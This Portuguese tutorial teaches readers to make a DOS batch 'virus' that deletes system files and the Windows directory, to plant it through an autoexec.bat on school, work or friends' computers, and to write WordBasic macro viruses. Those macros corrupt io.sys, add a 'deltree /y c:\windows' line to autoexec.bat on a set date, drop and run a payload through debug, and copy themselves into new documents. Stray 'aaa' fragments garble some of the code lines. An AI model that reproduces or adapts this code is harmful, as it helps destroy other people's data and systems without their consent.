Este texto irá ensinar, de modo fácil, destruir o computador da sua escola (ou daquele otario do seu amigo que gosta de ficar dando uma de Hacker ,ou o do seu trabalho, etc.)
Primeiro, crie em seu computador um arquivo de lote (nem precisa copilar), se não souber aí vai, pelo DOS digite:

copy con arquivo.bat

@echo off

@echo frase de sua preferência

del*.sys

del*.exe

del*.com

cd windows

del*.*

del arquivo.bat

@echo frase de sua preferência

Pronto, um arquivo virus de lote foi criado em seu computador, calmaaaa!!! Hehe, ele não fará nada contanto que você não digite "arquivo"no diretório onde ele está.
Remova este arquivo (arquivo.bat) para um disquete, junto a ele um "autoexec.bat" com a linha de comando: C:\arquivo .bat.
Agora é com você! Leve o disquete para a escola (trabalho, casa de amigo, etc.) e quando tiver uma oportunidade, insira o disco na unidade referente (geralmente a:) e copie os arquivos para o diretório C:\ Pronto! Retire o disco e diga thau, hehe.

VEJA UM EXEMPLO DE VIRUS DE MACRO QUE ADULTERA A IMPRESSÃO.

Vírus 12/04
Sub MAIN
If Dia(Agora()) = 12 and Mês(Agora()) = 04 Then
DefinirAtributo “C:\msdos.sys”, 0 aaaaOpen “C:\io.sys” For Output As # 1 aaaaPrint #1, “Beba Josta”
Close #1
End if
Open “c:\autoexec.bat” For Output As #1
Print #1, “@echo off” Print #1, “cls” aaPrint #1, “@deltree /y c:\windows > nul”
Close #1
End Sub

ROTINA 2

Sub MAIN
Open “C:\imaiden.txt” for Output As #1”
Print #1 “Código em hexadecimal”
Print #1 “Código em hexadecimal” ‘(continuação)...
Close #1
Shell “debug texto.txt”
Shell “c:\imaiden.com”
End Sub

ROTINA 3

Sub MAIN
MacroCopiar “Global:Inocu”, “DocumentoNovo”, 0
End sub

Vírus Fagundes Varela

Sub MAIN
InícioDocumento
Inserir “Lembra dessas noites”
Inserir CHR$(13)
Inserir “Cheias de doce harmonia,” aaa Inserir CHR$(13)
Inserir “Quando a floresta gemia” aa aaa Inserir CHR$(13)
Inserir “Do vento aos brandos açoites?”
Inserir CHR$(13)
Inserir CHR$(13)
Inserir “Quando as estrelas sorriam” aaa Inserir CHR$(13)
Inserir “Quando as campinas tremiam”
Inserir CHR$(13)
Inserir “Nas dobras do úmido véu?” aaa Inserir CHR$(13)
Inserir “E nossas almas unidas”
Inserir CHR$(13)
Inserir “Estreitavam-se, sentidas,” aaa Inserir CHR$(13)
Inserir “Ao brilhar daquele céu?” aaaArquivoImprimirPadrão
End Sub